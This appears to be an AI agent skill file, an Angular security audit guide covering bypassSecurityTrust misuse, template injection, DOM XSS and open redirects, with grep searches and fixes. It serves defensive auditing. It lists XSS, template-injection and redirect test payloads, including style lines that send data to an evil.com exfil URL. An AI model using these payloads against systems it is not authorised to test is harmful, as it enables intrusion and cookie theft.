| name | angular-security-audit |
| description | Security audit and pentesting guide for Angular applications. Use this skill whenever you need to assess Angular app security, look for XSS vulnerabilities, check for bypassSecurityTrust misuse, audit template injection risks, test for open redirects, or review Angular security configurations. Trigger this for any Angular security review, code audit, or vulnerability assessment of Angular/TypeScript frontend applications. |
Angular Security Audit Skill
A comprehensive guide for security professionals to audit and pentest Angular applications for common vulnerabilities.
Quick Start Checklist
Run through these checks first:
Angular Architecture Overview
Understanding the structure helps identify attack surfaces:
my-workspace/
├── src/
│ ├── app/
│ │ ├── app.module.ts # Root module - check imports
│ │ ├── app.component.ts # Root component - check logic
│ │ ├── app.component.html # Template - check bindings
│ │ └── app-routing.module.ts # Router - check redirects
│ └── index.html # Entry point
├── angular.json # Build config - check sourcemaps
└── tsconfig.json # TypeScript config
Key concepts:
- Components - UI units with templates (
.component.ts + .html)
- Modules - Group related components (
.module.ts)
- Services - Shared logic (
@Injectable())
- Router - Navigation between views
Vulnerability Testing Guide
1. BypassSecurityTrust Methods
Angular provides methods to bypass sanitization. These are dangerous with user input.
What to search for:
bypassSecurityTrustUrl
bypassSecurityTrustResourceUrl
bypassSecurityTrustHtml
bypassSecurityTrustScript
bypassSecurityTrustStyle
Vulnerable pattern:
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl(userInput);
Safe pattern:
if (isValidUrl(userInput)) {
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl(userInput);
}
Test cases:
javascript:alert(1) - Tests URL bypass
<script>alert(1)</script> - Tests HTML bypass
background-image: url(https://evil.com/exfil?data=) - Tests style bypass
2. HTML Injection
Occurs when user input binds to innerHTML, outerHTML, or iframe srcdoc.
Vulnerable pattern:
test = userInput;
<div [innerHTML]="test"></div>
What happens:
<script> tags are stripped (XSS blocked)
- But HTML structure is preserved (HTML injection possible)
- Can still be dangerous for UI redressing
Test: Input <h1>Injected</h1><script>alert(1)</script> - script should be removed
3. Template Injection
User input concatenated into template strings can execute code.
Vulnerable pattern:
@Component({
template: '<h1>title</h1>' + userInput
})
Attack vector:
'{{constructor.constructor("alert(1)")()}}'
Test cases:
{{constructor.constructor('alert(1)')()}}
{{'String'.constructor.constructor('alert(1)')()}}
{{'alert(1)'.constructor('alert(1)')()}}
Safe pattern:
<h1>{{userInput}}</h1> // Escaped automatically
4. XSS via DOM Interfaces
Direct DOM manipulation bypasses Angular's security.
Vulnerable patterns:
Document interface:
document.write("<script>alert(1)</script>");
document.createElement('script').textContent = userInput;
ElementRef:
constructor(private elementRef: ElementRef) {
this.elementRef.nativeElement.innerHTML = userInput;
}
Renderer2:
this.renderer2.setAttribute(element, 'onerror', userInput);
this.renderer2.setProperty(element, 'innerHTML', userInput);
jQuery:
$("p").html(userInput);
$.parseHTML(userInput);
Test payloads:
<img src=1 onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
5. Open Redirects
User-controlled URLs in location objects can redirect to malicious sites.
Vulnerable sinks:
window.location.href = userInput;
window.location.assign(userInput);
window.location.replace(userInput);
window.open(userInput, "_blank");
document.location.href = userInput;
Angular Document class:
constructor(@Inject(DOCUMENT) private document: Document) {}
this.document.location.href = userInput;
Test cases:
https://evil.com/phishing
javascript:alert(document.cookie)
//evil.com (protocol-relative)
https://legit.com@evil.com (credential injection)
Safe navigation:
this.router.navigate(['/path']);
this.location.go('/path');
Security Context Reference
Angular uses 6 security contexts for sanitization:
| Context | Use Case | Example |
|---|
None | No sanitization | Never use with user input |
HTML | HTML content | [innerHTML]="value" |
STYLE | CSS properties | [style]="value" |
URL | URL attributes | [href]="value" |
SCRIPT | JavaScript code | Rarely used |
RESOURCE_URL | Executable resources | <script src> |
Critical: Using wrong context = vulnerability
sanitizer.bypassSecurityTrustUrl("<script>alert(1)</script>");
sanitizer.bypassSecurityTrustHtml("<h1>Safe</h1>");
Audit Workflow
Phase 1: Reconnaissance
-
Check sourcemaps:
curl -I https://app.com/main.js | grep sourceMappingURL
curl https://app.com/main.js.map
-
Review angular.json:
"sourceMap": {
"scripts": false,
"styles": false,
"vendor": false,
"hidden": true
}
-
Identify entry points:
- Find all components with user input
- Map data flow from input to output
- Identify DOM manipulation points
Phase 2: Static Analysis
Search patterns in codebase:
grep -r "bypassSecurityTrust" src/
grep -r "nativeElement" src/
grep -r "document\." src/
grep -r "window\.location" src/
grep -r "\$\." src/
grep -r "from 'jquery'" src/
grep -r "innerHTML" src/
grep -r "\[innerHtml\]" src/
Phase 3: Dynamic Testing
Test each input vector:
-
XSS payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
javascript:alert(1)
-
Template injection:
{{constructor.constructor('alert(1)')()}}
{{'String'.constructor.constructor('alert(1)')()}}
-
Open redirect:
https://evil.com
javascript:alert(document.cookie)
//evil.com
-
Style injection:
background-image: url(https://evil.com/exfil?c=)
behavior: url(evil.htc)
Phase 4: Reporting
Document findings:
## Finding: [Vulnerability Type]
**Location:** `src/app/component.ts:45`
**Severity:** High/Medium/Low
**Description:** User input passed to bypassSecurityTrustUrl
**Code:**
```typescript
this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);
Impact: XSS via javascript: URL scheme
Remediation: Validate URL scheme before bypassing
Test: javascript:alert(1) executes successfully
## Remediation Guidelines
### Fix BypassSecurityTrust
```typescript
// BEFORE
this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);
// AFTER
if (this.isValidHttpUrl(userInput)) {
this.url = this.sanitizer.bypassSecurityTrustUrl(userInput);
}
private isValidHttpUrl(url: string): boolean {
const pattern = /^https?:\/\/.+/;
return pattern.test(url);
}
Fix ElementRef Usage
this.elementRef.nativeElement.innerHTML = userInput;
<div [innerHTML]="sanitizedInput"></div>
this.renderer2.setProperty(element, 'textContent', userInput);
Fix Open Redirects
window.location.href = userInput;
if (this.isAllowedDomain(userInput)) {
window.location.href = userInput;
}
private isAllowedDomain(url: string): boolean {
const allowed = ['example.com', 'trusted.com'];
try {
const domain = new URL(url).hostname;
return allowed.includes(domain);
} catch {
return false;
}
}
Fix jQuery Usage
$("p").html(userInput);
$("p").text(userInput);
Common False Positives
Safe patterns that look dangerous:
-
Static bypassSecurityTrust:
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('https://cdn.example.com/lib.js');
-
Internal navigation:
this.router.navigate(['/dashboard']);
-
Renderer2 setStyle:
this.renderer2.setStyle(element, 'color', 'red');
References
Quick Reference Card
| Vulnerability | Search For | Test Payload |
|---|
| Bypass Trust | bypassSecurityTrust* | javascript:alert(1) |
| HTML Injection | [innerHTML], outerHTML | <img src=x onerror=alert(1)> |
| Template Injection | Template concatenation | {{constructor.constructor('alert(1)')()}} |
| DOM XSS | nativeElement, document. | <svg onload=alert(1)> |
| Open Redirect | location.href, window.open | https://evil.com |
| jQuery XSS | $.html(), $.parseHTML() | <script>alert(1)</script> |
Remember: Angular's default security is strong. Most vulnerabilities come from developers bypassing protections or using unsafe APIs. Focus your audit on those bypass points and direct DOM manipulation.